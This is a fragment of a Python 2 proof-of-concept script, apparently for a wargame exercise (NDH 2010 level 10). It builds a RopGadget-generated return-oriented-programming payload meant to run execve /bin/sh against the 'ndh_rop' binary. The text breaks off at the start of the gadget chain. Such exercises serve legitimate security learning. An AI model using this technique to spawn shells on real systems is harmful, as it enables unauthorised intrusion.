#!/usr/bin/python2 # Test RopGadget payload in ndh_rop binary # ndh_rop is a binary on wargame-ndh-2010 (level 10) # # poc: ./ndh_rop "$(python2 ./exploit.py)" from struct import pack p = "a" * 12 # execve /bin/sh generated by RopGadget v4.0 p += pack("